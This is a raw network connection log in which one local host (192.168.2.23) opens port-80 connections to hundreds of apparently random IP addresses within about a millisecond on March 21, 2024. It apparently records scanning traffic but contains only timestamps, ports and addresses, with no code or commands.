Mar 21, 2024 05:25:10.935053110 CET	10440	80	192.168.2.23	27.70.128.177
Mar 21, 2024 05:25:10.935054064 CET	11464	80	192.168.2.23	180.134.5.198
Mar 21, 2024 05:25:10.935056925 CET	11464	80	192.168.2.23	186.144.247.59
Mar 21, 2024 05:25:10.935056925 CET	10440	80	192.168.2.23	42.182.165.12
Mar 21, 2024 05:25:10.935056925 CET	11464	80	192.168.2.23	139.133.138.14
Mar 21, 2024 05:25:10.935056925 CET	10440	80	192.168.2.23	120.221.220.76
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	99.26.227.112
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	195.100.175.172
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	55.39.218.221
Mar 21, 2024 05:25:10.935059071 CET	11464	80	192.168.2.23	109.232.192.232
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	108.4.0.225
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	28.80.18.151
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	143.53.130.189
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	8.253.173.117
Mar 21, 2024 05:25:10.935059071 CET	11464	80	192.168.2.23	13.120.212.166
Mar 21, 2024 05:25:10.935059071 CET	10440	80	192.168.2.23	47.194.121.166
Mar 21, 2024 05:25:10.935065031 CET	11464	80	192.168.2.23	2.242.191.101
Mar 21, 2024 05:25:10.935065031 CET	10440	80	192.168.2.23	147.170.230.111
Mar 21, 2024 05:25:10.935065031 CET	10440	80	192.168.2.23	149.186.25.79
Mar 21, 2024 05:25:10.935065031 CET	10440	80	192.168.2.23	72.134.140.251
Mar 21, 2024 05:25:10.935071945 CET	11464	80	192.168.2.23	62.137.146.220
Mar 21, 2024 05:25:10.935081005 CET	11464	80	192.168.2.23	63.174.142.211
Mar 21, 2024 05:25:10.935081005 CET	11464	80	192.168.2.23	217.2.70.193
Mar 21, 2024 05:25:10.935081005 CET	10440	80	192.168.2.23	16.35.115.242
Mar 21, 2024 05:25:10.935081959 CET	11464	80	192.168.2.23	168.3.174.43
Mar 21, 2024 05:25:10.935081959 CET	11464	80	192.168.2.23	85.51.196.221
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	27.10.195.87
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	146.172.23.178
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	209.33.51.161
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	94.217.239.34
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	193.15.136.232
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	216.34.219.35
Mar 21, 2024 05:25:10.935084105 CET	10440	80	192.168.2.23	151.246.109.30
Mar 21, 2024 05:25:10.935096979 CET	10440	80	192.168.2.23	65.18.113.172
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	194.240.42.56
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	84.115.9.178
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	17.41.191.174
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	114.64.39.75
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	255.169.222.210
Mar 21, 2024 05:25:10.935102940 CET	10440	80	192.168.2.23	243.113.5.174
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	178.116.205.205
Mar 21, 2024 05:25:10.935102940 CET	11464	80	192.168.2.23	188.255.71.10
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	145.72.250.224
Mar 21, 2024 05:25:10.935102940 CET	10440	80	192.168.2.23	206.219.230.199
Mar 21, 2024 05:25:10.935103893 CET	11464	80	192.168.2.23	86.70.134.105
Mar 21, 2024 05:25:10.935101032 CET	10440	80	192.168.2.23	70.46.46.143
Mar 21, 2024 05:25:10.935103893 CET	11464	80	192.168.2.23	221.234.185.146
Mar 21, 2024 05:25:10.935103893 CET	11464	80	192.168.2.23	221.13.35.208
Mar 21, 2024 05:25:10.935103893 CET	11464	80	192.168.2.23	134.161.246.133
Mar 21, 2024 05:25:10.935103893 CET	10440	80	192.168.2.23	171.15.11.246
Mar 21, 2024 05:25:10.935103893 CET	10440	80	192.168.2.23	30.119.1.229
Mar 21, 2024 05:25:10.935103893 CET	11464	80	192.168.2.23	68.250.160.250
Mar 21, 2024 05:25:10.935112000 CET	11464	80	192.168.2.23	220.245.254.111
Mar 21, 2024 05:25:10.935112000 CET	11464	80	192.168.2.23	24.155.151.76
Mar 21, 2024 05:25:10.935112000 CET	11464	80	192.168.2.23	124.125.236.68
Mar 21, 2024 05:25:10.935122967 CET	10440	80	192.168.2.23	61.145.241.107
Mar 21, 2024 05:25:10.935122967 CET	10440	80	192.168.2.23	142.193.235.82
Mar 21, 2024 05:25:10.935122967 CET	10440	80	192.168.2.23	244.102.27.0
Mar 21, 2024 05:25:10.935134888 CET	10440	80	192.168.2.23	83.13.183.222
Mar 21, 2024 05:25:10.935138941 CET	11464	80	192.168.2.23	193.163.19.41
Mar 21, 2024 05:25:10.935138941 CET	11464	80	192.168.2.23	92.41.55.59
Mar 21, 2024 05:25:10.935138941 CET	10440	80	192.168.2.23	193.154.123.186
Mar 21, 2024 05:25:10.935144901 CET	10440	80	192.168.2.23	1.206.104.55
Mar 21, 2024 05:25:10.935144901 CET	11464	80	192.168.2.23	53.253.145.122
Mar 21, 2024 05:25:10.935144901 CET	10440	80	192.168.2.23	79.218.169.174
Mar 21, 2024 05:25:10.935152054 CET	11464	80	192.168.2.23	101.170.137.192
Mar 21, 2024 05:25:10.935152054 CET	11464	80	192.168.2.23	141.196.126.204
Mar 21, 2024 05:25:10.935152054 CET	11464	80	192.168.2.23	108.43.96.159
Mar 21, 2024 05:25:10.935152054 CET	10440	80	192.168.2.23	90.255.181.27
Mar 21, 2024 05:25:10.935152054 CET	10440	80	192.168.2.23	124.30.99.234
Mar 21, 2024 05:25:10.935152054 CET	11464	80	192.168.2.23	154.234.175.127
Mar 21, 2024 05:25:10.935154915 CET	11464	80	192.168.2.23	149.182.165.207
Mar 21, 2024 05:25:10.935154915 CET	11464	80	192.168.2.23	77.50.27.122
Mar 21, 2024 05:25:10.935156107 CET	11464	80	192.168.2.23	27.178.253.138
Mar 21, 2024 05:25:10.935156107 CET	10440	80	192.168.2.23	140.58.15.43
Mar 21, 2024 05:25:10.935158968 CET	10440	80	192.168.2.23	183.212.82.248
Mar 21, 2024 05:25:10.935158968 CET	10440	80	192.168.2.23	152.216.5.199
Mar 21, 2024 05:25:10.935158968 CET	10440	80	192.168.2.23	246.63.98.89
Mar 21, 2024 05:25:10.935158968 CET	10440	80	192.168.2.23	119.59.39.158
Mar 21, 2024 05:25:10.935158968 CET	11464	80	192.168.2.23	206.131.25.202
Mar 21, 2024 05:25:10.935183048 CET	10440	80	192.168.2.23	90.234.226.40
Mar 21, 2024 05:25:10.935183048 CET	10440	80	192.168.2.23	124.234.171.66
Mar 21, 2024 05:25:10.935183048 CET	11464	80	192.168.2.23	37.127.212.144
Mar 21, 2024 05:25:10.935183048 CET	11464	80	192.168.2.23	184.92.181.181
Mar 21, 2024 05:25:10.935183048 CET	10440	80	192.168.2.23	132.173.20.118
Mar 21, 2024 05:25:10.935183048 CET	11464	80	192.168.2.23	195.173.71.56
Mar 21, 2024 05:25:10.935190916 CET	10440	80	192.168.2.23	89.159.88.163
Mar 21, 2024 05:25:10.935190916 CET	11464	80	192.168.2.23	209.37.197.63
Mar 21, 2024 05:25:10.935192108 CET	10440	80	192.168.2.23	165.189.32.144
Mar 21, 2024 05:25:10.935190916 CET	10440	80	192.168.2.23	145.74.225.61
Mar 21, 2024 05:25:10.935192108 CET	10440	80	192.168.2.23	75.203.237.19
Mar 21, 2024 05:25:10.935190916 CET	11464	80	192.168.2.23	210.229.44.253
Mar 21, 2024 05:25:10.935192108 CET	11464	80	192.168.2.23	218.105.19.152
Mar 21, 2024 05:25:10.935190916 CET	11464	80	192.168.2.23	151.236.218.67
Mar 21, 2024 05:25:10.935192108 CET	10440	80	192.168.2.23	72.34.218.123
Mar 21, 2024 05:25:10.935190916 CET	10440	80	192.168.2.23	40.80.76.193
Mar 21, 2024 05:25:10.935192108 CET	11464	80	192.168.2.23	155.71.198.56
Mar 21, 2024 05:25:10.935190916 CET	10440	80	192.168.2.23	30.158.53.225
Mar 21, 2024 05:25:10.935192108 CET	11464	80	192.168.2.23	129.66.237.20
Mar 21, 2024 05:25:10.935190916 CET	11464	80	192.168.2.23	80.56.26.136
Mar 21, 2024 05:25:10.935192108 CET	10440	80	192.168.2.23	126.29.223.126
Mar 21, 2024 05:25:10.935192108 CET	10440	80	192.168.2.23	43.238.86.10
Mar 21, 2024 05:25:10.935216904 CET	11464	80	192.168.2.23	177.232.23.221
Mar 21, 2024 05:25:10.935219049 CET	10440	80	192.168.2.23	40.231.172.124
Mar 21, 2024 05:25:10.935219049 CET	10440	80	192.168.2.23	46.1.13.150
Mar 21, 2024 05:25:10.935219049 CET	10440	80	192.168.2.23	13.99.28.176
Mar 21, 2024 05:25:10.935219049 CET	10440	80	192.168.2.23	136.226.124.128
Mar 21, 2024 05:25:10.935219049 CET	10440	80	192.168.2.23	29.121.199.107
Mar 21, 2024 05:25:10.935220003 CET	10440	80	192.168.2.23	39.117.202.174
Mar 21, 2024 05:25:10.935220003 CET	10440	80	192.168.2.23	82.51.60.235
Mar 21, 2024 05:25:10.935228109 CET	11464	80	192.168.2.23	48.29.54.173
Mar 21, 2024 05:25:10.935228109 CET	11464	80	192.168.2.23	86.46.211.207
Mar 21, 2024 05:25:10.935228109 CET	10440	80	192.168.2.23	19.130.159.140
Mar 21, 2024 05:25:10.935231924 CET	11464	80	192.168.2.23	158.192.112.202
Mar 21, 2024 05:25:10.935231924 CET	11464	80	192.168.2.23	14.155.120.246
Mar 21, 2024 05:25:10.935231924 CET	10440	80	192.168.2.23	126.65.116.41
Mar 21, 2024 05:25:10.935231924 CET	11464	80	192.168.2.23	149.3.98.204
Mar 21, 2024 05:25:10.935231924 CET	11464	80	192.168.2.23	218.199.235.208
Mar 21, 2024 05:25:10.935231924 CET	10440	80	192.168.2.23	107.251.184.13
Mar 21, 2024 05:25:10.935236931 CET	10440	80	192.168.2.23	192.218.233.196
Mar 21, 2024 05:25:10.935240984 CET	10440	80	192.168.2.23	104.183.246.124
Mar 21, 2024 05:25:10.935240984 CET	11464	80	192.168.2.23	184.200.7.241
Mar 21, 2024 05:25:10.935240984 CET	11464	80	192.168.2.23	186.139.73.230
Mar 21, 2024 05:25:10.935240984 CET	10440	80	192.168.2.23	82.52.154.177
Mar 21, 2024 05:25:10.935240984 CET	11464	80	192.168.2.23	137.52.6.58
Mar 21, 2024 05:25:10.935240984 CET	10440	80	192.168.2.23	254.61.94.220
Mar 21, 2024 05:25:10.935240984 CET	11464	80	192.168.2.23	201.180.91.24
Mar 21, 2024 05:25:10.935242891 CET	10440	80	192.168.2.23	148.250.246.102
Mar 21, 2024 05:25:10.935240984 CET	10440	80	192.168.2.23	137.116.178.213
Mar 21, 2024 05:25:10.935242891 CET	11464	80	192.168.2.23	41.139.207.138
Mar 21, 2024 05:25:10.935242891 CET	11464	80	192.168.2.23	94.150.199.75
Mar 21, 2024 05:25:10.935242891 CET	10440	80	192.168.2.23	71.187.144.86
Mar 21, 2024 05:25:10.935242891 CET	11464	80	192.168.2.23	219.16.201.35
Mar 21, 2024 05:25:10.935242891 CET	11464	80	192.168.2.23	181.117.173.218
Mar 21, 2024 05:25:10.935266018 CET	11464	80	192.168.2.23	119.13.3.194
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	106.92.106.223
Mar 21, 2024 05:25:10.935275078 CET	11464	80	192.168.2.23	151.43.184.118
Mar 21, 2024 05:25:10.935275078 CET	11464	80	192.168.2.23	161.57.144.152
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	152.45.224.37
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	144.125.37.9
Mar 21, 2024 05:25:10.935275078 CET	11464	80	192.168.2.23	137.15.66.42
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	140.102.73.161
Mar 21, 2024 05:25:10.935275078 CET	11464	80	192.168.2.23	61.209.190.38
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	222.88.194.13
Mar 21, 2024 05:25:10.935275078 CET	10440	80	192.168.2.23	22.247.153.81
Mar 21, 2024 05:25:10.935281992 CET	10440	80	192.168.2.23	214.60.131.188
Mar 21, 2024 05:25:10.935290098 CET	10440	80	192.168.2.23	150.152.92.30
Mar 21, 2024 05:25:10.935290098 CET	11464	80	192.168.2.23	184.123.35.255
Mar 21, 2024 05:25:10.935291052 CET	10440	80	192.168.2.23	3.233.200.231
Mar 21, 2024 05:25:10.935291052 CET	11464	80	192.168.2.23	170.224.220.110
Mar 21, 2024 05:25:10.935291052 CET	10440	80	192.168.2.23	213.74.115.0
Mar 21, 2024 05:25:10.935324907 CET	10440	80	192.168.2.23	41.23.141.123
Mar 21, 2024 05:25:10.935324907 CET	11464	80	192.168.2.23	174.205.34.225
Mar 21, 2024 05:25:10.935324907 CET	11464	80	192.168.2.23	205.24.247.204
Mar 21, 2024 05:25:10.935324907 CET	10440	80	192.168.2.23	249.238.68.105
Mar 21, 2024 05:25:10.935326099 CET	11464	80	192.168.2.23	104.254.156.97
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	67.110.7.184
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	191.141.93.246
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	197.116.120.10
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	191.18.41.124
Mar 21, 2024 05:25:10.935328007 CET	10440	80	192.168.2.23	43.186.166.148
Mar 21, 2024 05:25:10.935328960 CET	10440	80	192.168.2.23	242.45.178.23
Mar 21, 2024 05:25:10.935328960 CET	10440	80	192.168.2.23	26.59.224.84
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	80.100.238.96
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	177.194.187.138
Mar 21, 2024 05:25:10.935326099 CET	10440	80	192.168.2.23	83.44.8.63
Mar 21, 2024 05:25:10.935336113 CET	10440	80	192.168.2.23	184.200.126.106
Mar 21, 2024 05:25:10.935336113 CET	11464	80	192.168.2.23	85.146.95.198
Mar 21, 2024 05:25:10.935336113 CET	10440	80	192.168.2.23	139.219.118.116
Mar 21, 2024 05:25:10.935336113 CET	11464	80	192.168.2.23	4.153.235.244
Mar 21, 2024 05:25:10.935336113 CET	10440	80	192.168.2.23	92.236.59.248
Mar 21, 2024 05:25:10.935336113 CET	10440	80	192.168.2.23	44.182.21.204
Mar 21, 2024 05:25:10.935337067 CET	10440	80	192.168.2.23	32.244.9.244
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	53.76.253.143
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	48.157.153.255
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	98.104.195.99
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	145.197.227.201
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	187.252.164.81
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	206.64.121.196
Mar 21, 2024 05:25:10.935338020 CET	11464	80	192.168.2.23	86.206.49.213
Mar 21, 2024 05:25:10.935340881 CET	11464	80	192.168.2.23	35.51.115.0
Mar 21, 2024 05:25:10.935340881 CET	10440	80	192.168.2.23	47.122.142.17
Mar 21, 2024 05:25:10.935340881 CET	10440	80	192.168.2.23	57.205.168.1
Mar 21, 2024 05:25:10.935340881 CET	11464	80	192.168.2.23	169.237.73.201
Mar 21, 2024 05:25:10.935340881 CET	11464	80	192.168.2.23	133.127.219.61
Mar 21, 2024 05:25:10.935340881 CET	10440	80	192.168.2.23	53.21.17.167
Mar 21, 2024 05:25:10.935340881 CET	10440	80	192.168.2.23	74.54.148.237
Mar 21, 2024 05:25:10.935340881 CET	11464	80	192.168.2.23	158.118.51.88
Mar 21, 2024 05:25:10.935347080 CET	10440	80	192.168.2.23	49.27.12.214
Mar 21, 2024 05:25:10.935347080 CET	11464	80	192.168.2.23	189.82.238.180
Mar 21, 2024 05:25:10.935350895 CET	11464	80	192.168.2.23	35.245.249.66
Mar 21, 2024 05:25:10.935354948 CET	10440	80	192.168.2.23	24.195.11.14
Mar 21, 2024 05:25:10.935354948 CET	10440	80	192.168.2.23	30.27.241.247
Mar 21, 2024 05:25:10.935354948 CET	11464	80	192.168.2.23	71.224.55.64
Mar 21, 2024 05:25:10.935354948 CET	11464	80	192.168.2.23	203.109.205.218
Mar 21, 2024 05:25:10.935354948 CET	11464	80	192.168.2.23	91.58.168.119
Mar 21, 2024 05:25:10.935354948 CET	11464	80	192.168.2.23	51.245.168.145
Mar 21, 2024 05:25:10.935354948 CET	10440	80	192.168.2.23	197.65.212.30
Mar 21, 2024 05:25:10.935354948 CET	10440	80	192.168.2.23	81.240.157.235
Mar 21, 2024 05:25:10.935386896 CET	11464	80	192.168.2.23	219.53.231.143
Mar 21, 2024 05:25:10.935405970 CET	10440	80	192.168.2.23	69.231.100.154
Mar 21, 2024 05:25:10.935406923 CET	10440	80	192.168.2.23	240.48.122.52
Mar 21, 2024 05:25:10.935406923 CET	11464	80	192.168.2.23	190.163.199.201
Mar 21, 2024 05:25:10.935410023 CET	10440	80	192.168.2.23	38.169.185.22
Mar 21, 2024 05:25:10.935410023 CET	10440	80	192.168.2.23	121.135.41.57
Mar 21, 2024 05:25:10.935406923 CET	10440	80	192.168.2.23	92.137.78.218
Mar 21, 2024 05:25:10.935415030 CET	11464	80	192.168.2.23	46.82.227.55
Mar 21, 2024 05:25:10.935415030 CET	10440	80	192.168.2.23	108.91.104.72
Mar 21, 2024 05:25:10.935415030 CET	10440	80	192.168.2.23	166.233.140.52
Mar 21, 2024 05:25:10.935415030 CET	11464	80	192.168.2.23	39.232.66.28
Mar 21, 2024 05:25:10.935415030 CET	10440	80	192.168.2.23	157.37.37.118
Mar 21, 2024 05:25:10.935415030 CET	10440	80	192.168.2.23	50.106.79.72
Mar 21, 2024 05:25:10.935415030 CET	10440	80	192.168.2.23	183.54.50.92
Mar 21, 2024 05:25:10.935415030 CET	11464	80	192.168.2.23	39.208.28.25
Mar 21, 2024 05:25:10.935420990 CET	10440	80	192.168.2.23	7.188.243.168
Mar 21, 2024 05:25:10.935420990 CET	11464	80	192.168.2.23	102.10.19.79
Mar 21, 2024 05:25:10.935422897 CET	10440	80	192.168.2.23	20.103.140.232
Mar 21, 2024 05:25:10.935436010 CET	10440	80	192.168.2.23	41.168.155.90
Mar 21, 2024 05:25:10.935436010 CET	10440	80	192.168.2.23	22.87.49.22
Mar 21, 2024 05:25:10.935436010 CET	10440	80	192.168.2.23	86.181.235.178
Mar 21, 2024 05:25:10.935436010 CET	11464	80	192.168.2.23	8.12.30.157
Mar 21, 2024 05:25:10.935436010 CET	10440	80	192.168.2.23	109.155.208.155
Mar 21, 2024 05:25:10.935436010 CET	11464	80	192.168.2.23	115.193.46.125
Mar 21, 2024 05:25:10.935436010 CET	10440	80	192.168.2.23	18.20.254.212
Mar 21, 2024 05:25:10.935436010 CET	11464	80	192.168.2.23	95.122.226.206
Mar 21, 2024 05:25:10.935436010 CET	11464	80	192.168.2.23	80.131.147.239
Mar 21, 2024 05:25:10.935436964 CET	10440	80	192.168.2.23	90.145.119.239
Mar 21, 2024 05:25:10.935436010 CET	11464	80	192.168.2.23	107.144.98.156
Mar 21, 2024 05:25:10.935436964 CET	10440	80	192.168.2.23	28.96.58.47
Mar 21, 2024 05:25:10.935436964 CET	11464	80	192.168.2.23	41.10.69.149
Mar 21, 2024 05:25:10.935436964 CET	11464	80	192.168.2.23	209.88.106.238
Mar 21, 2024 05:25:10.935441971 CET	11464	80	192.168.2.23	126.165.48.202
Mar 21, 2024 05:25:10.935442924 CET	11464	80	192.168.2.23	90.22.121.164
Mar 21, 2024 05:25:10.935442924 CET	10440	80	192.168.2.23	85.185.144.166
Mar 21, 2024 05:25:10.935442924 CET	11464	80	192.168.2.23	25.193.131.80
Mar 21, 2024 05:25:10.935442924 CET	11464	80	192.168.2.23	135.255.253.186
Mar 21, 2024 05:25:10.935442924 CET	10440	80	192.168.2.23	67.224.198.215
Mar 21, 2024 05:25:10.935442924 CET	10440	80	192.168.2.23	121.4.250.167
Mar 21, 2024 05:25:10.935446024 CET	10440	80	192.168.2.23	7.77.62.80
Mar 21, 2024 05:25:10.935446024 CET	10440	80	192.168.2.23	49.30.233.145
Mar 21, 2024 05:25:10.935450077 CET	10440	80	192.168.2.23	13.254.62.236
Mar 21, 2024 05:25:10.935450077 CET	11464	80	192.168.2.23	223.254.87.248
Mar 21, 2024 05:25:10.935450077 CET	10440	80	192.168.2.23	95.82.220.87
Mar 21, 2024 05:25:10.935450077 CET	11464	80	192.168.2.23	191.110.121.10
Mar 21, 2024 05:25:10.935450077 CET	11464	80	192.168.2.23	213.96.48.105
Mar 21, 2024 05:25:10.935457945 CET	11464	80	192.168.2.23	121.106.159.205
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	36.113.198.176
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	86.142.250.245
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	107.29.127.243
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	150.224.220.230
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	155.240.96.26
Mar 21, 2024 05:25:10.935476065 CET	10440	80	192.168.2.23	18.241.200.77
Mar 21, 2024 05:25:10.935476065 CET	11464	80	192.168.2.23	76.236.224.225
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	147.123.55.7
Mar 21, 2024 05:25:10.935476065 CET	11464	80	192.168.2.23	206.211.195.0
Mar 21, 2024 05:25:10.935473919 CET	11464	80	192.168.2.23	124.204.47.186
Mar 21, 2024 05:25:10.935473919 CET	10440	80	192.168.2.23	208.167.137.1
Mar 21, 2024 05:25:10.935484886 CET	10440	80	192.168.2.23	56.229.18.134
Mar 21, 2024 05:25:10.935486078 CET	10440	80	192.168.2.23	251.80.12.183
Mar 21, 2024 05:25:10.935486078 CET	10440	80	192.168.2.23	250.231.149.48
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	112.240.100.182
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	144.199.174.213
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	209.18.26.33
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	222.59.121.81
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	172.66.79.167
Mar 21, 2024 05:25:10.935492992 CET	10440	80	192.168.2.23	141.86.115.77
Mar 21, 2024 05:25:10.935492992 CET	11464	80	192.168.2.23	140.163.166.120
Mar 21, 2024 05:25:10.935492992 CET	10440	80	192.168.2.23	37.246.173.192
Mar 21, 2024 05:25:10.935519934 CET	10440	80	192.168.2.23	178.160.141.163
Mar 21, 2024 05:25:10.935519934 CET	10440	80	192.168.2.23	173.248.221.66
Mar 21, 2024 05:25:10.935523033 CET	10440	80	192.168.2.23	254.128.225.126
Mar 21, 2024 05:25:10.935534954 CET	10440	80	192.168.2.23	12.255.38.135
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	17.130.50.147
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	219.126.59.146
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	49.152.223.215
Mar 21, 2024 05:25:10.935540915 CET	11464	80	192.168.2.23	98.37.2.83
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	69.156.246.188
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	4.223.223.33
Mar 21, 2024 05:25:10.935540915 CET	10440	80	192.168.2.23	123.69.15.106
Mar 21, 2024 05:25:10.935542107 CET	10440	80	192.168.2.23	83.2.154.251
Mar 21, 2024 05:25:10.935544968 CET	11464	80	192.168.2.23	128.113.20.249
Mar 21, 2024 05:25:10.935544968 CET	10440	80	192.168.2.23	85.26.58.42
Mar 21, 2024 05:25:10.935544968 CET	10440	80	192.168.2.23	54.34.146.185
Mar 21, 2024 05:25:10.935544968 CET	10440	80	192.168.2.23	76.212.15.65
Mar 21, 2024 05:25:10.935548067 CET	10440	80	192.168.2.23	63.178.142.254
Mar 21, 2024 05:25:10.935548067 CET	10440	80	192.168.2.23	176.185.60.124
Mar 21, 2024 05:25:10.935554981 CET	11464	80	192.168.2.23	96.254.30.189
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	143.167.42.233
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	96.90.224.30
Mar 21, 2024 05:25:10.935554981 CET	11464	80	192.168.2.23	204.15.79.44
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	254.223.233.163
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	162.212.187.167
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	4.2.172.219
Mar 21, 2024 05:25:10.935554981 CET	11464	80	192.168.2.23	12.69.173.207
Mar 21, 2024 05:25:10.935554981 CET	11464	80	192.168.2.23	202.252.239.252
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	48.49.113.202
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	26.229.70.212
Mar 21, 2024 05:25:10.935556889 CET	10440	80	192.168.2.23	31.178.32.201
Mar 21, 2024 05:25:10.935568094 CET	10440	80	192.168.2.23	107.137.94.249
Mar 21, 2024 05:25:10.935556889 CET	10440	80	192.168.2.23	43.55.85.102
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	37.201.136.248
Mar 21, 2024 05:25:10.935571909 CET	10440	80	192.168.2.23	56.210.238.15
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	114.4.238.128
Mar 21, 2024 05:25:10.935556889 CET	10440	80	192.168.2.23	145.13.16.83
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	180.48.244.82
Mar 21, 2024 05:25:10.935571909 CET	10440	80	192.168.2.23	82.63.179.20
Mar 21, 2024 05:25:10.935554981 CET	11464	80	192.168.2.23	70.68.62.218
Mar 21, 2024 05:25:10.935556889 CET	10440	80	192.168.2.23	214.176.124.144
Mar 21, 2024 05:25:10.935554981 CET	10440	80	192.168.2.23	84.5.128.15
Mar 21, 2024 05:25:10.935581923 CET	10440	80	192.168.2.23	88.185.96.99
Mar 21, 2024 05:25:10.935595036 CET	10440	80	192.168.2.23	61.55.150.108
Mar 21, 2024 05:25:10.935599089 CET	10440	80	192.168.2.23	208.231.154.212
Mar 21, 2024 05:25:10.935599089 CET	10440	80	192.168.2.23	240.8.120.4
Mar 21, 2024 05:25:10.935601950 CET	10440	80	192.168.2.23	19.74.8.162
Mar 21, 2024 05:25:10.935601950 CET	10440	80	192.168.2.23	131.151.249.187
Mar 21, 2024 05:25:10.935611963 CET	10440	80	192.168.2.23	214.159.185.241
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	245.34.66.72
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	31.147.182.127
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	142.42.110.31
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	110.107.240.94
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	180.127.161.108
Mar 21, 2024 05:25:10.935632944 CET	10440	80	192.168.2.23	81.190.27.97
Mar 21, 2024 05:25:10.935640097 CET	10440	80	192.168.2.23	28.20.53.79
Mar 21, 2024 05:25:10.935642958 CET	10440	80	192.168.2.23	12.65.233.108
Mar 21, 2024 05:25:10.935635090 CET	10440	80	192.168.2.23	75.42.196.81
Mar 21, 2024 05:25:10.935643911 CET	10440	80	192.168.2.23	90.56.125.208
Mar 21, 2024 05:25:10.935643911 CET	10440	80	192.168.2.23	21.166.104.169
Mar 21, 2024 05:25:10.935645103 CET	10440	80	192.168.2.23	7.125.152.73
Mar 21, 2024 05:25:10.935646057 CET	11464	80	192.168.2.23	178.12.160.16
Mar 21, 2024 05:25:10.935646057 CET	11464	80	192.168.2.23	221.151.236.125
Mar 21, 2024 05:25:10.935646057 CET	10440	80	192.168.2.23	138.205.224.155
Mar 21, 2024 05:25:10.935646057 CET	11464	80	192.168.2.23	198.52.233.207
Mar 21, 2024 05:25:10.935646057 CET	11464	80	192.168.2.23	132.87.108.128
Mar 21, 2024 05:25:10.935647011 CET	11464	80	192.168.2.23	151.127.147.91
Mar 21, 2024 05:25:10.935647011 CET	10440	80	192.168.2.23	255.188.131.102
Mar 21, 2024 05:25:10.935653925 CET	10440	80	192.168.2.23	204.35.245.140
Mar 21, 2024 05:25:10.935657978 CET	10440	80	192.168.2.23	28.89.26.189
Mar 21, 2024 05:25:10.935667038 CET	10440	80	192.168.2.23	172.117.245.148
Mar 21, 2024 05:25:10.935667992 CET	10440	80	192.168.2.23	18.201.42.237
Mar 21, 2024 05:25:10.935667992 CET	10440	80	192.168.2.23	78.233.0.34
